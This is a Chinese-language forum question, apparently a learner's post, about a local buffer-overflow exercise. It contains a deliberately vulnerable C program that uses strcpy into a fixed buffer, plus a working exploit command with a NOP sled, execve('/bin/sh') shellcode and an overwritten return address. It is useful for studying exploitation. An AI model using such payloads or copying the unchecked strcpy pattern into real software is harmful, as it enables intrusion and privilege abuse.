我不知道在哪里问这个问题,因为它是编程和 Linux 的混合体,但希望这是正确的地方。我写了一个简单的程序,我的缓冲区溢出了。我已经完成了我的利用中的每一步,但只有一步。当我运行 shell 代码时,它/bin/bash
会被执行,然后立即关闭,因为它没有输入。我用一个这样的参数来调用我的程序,其中./vuln arg
arg
包含 shell 代码。据我了解,shell 需要一些输入,但是当我的易受攻击的程序完成时,它会关闭应该接收标准输入的管道,从而也关闭我的 shell。我收到以下消息
/bin/sh: line 1: warning: command substitution: ignored null byte in input
下面是我的 C 代码(如果有帮助的话):
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
我用来打开 shell 的命令:
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
我已经尝试过:
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)") | cat
甚至用而;
不是|
,以及其他一些不同的变体,但没有一个起作用这是我刚刚运行时得到的错误./vuln my_payload
[Detaching after fork from child process 4010]
bash: warning: command substitution: ignored null byte in input
[Detaching after fork from child process 4011]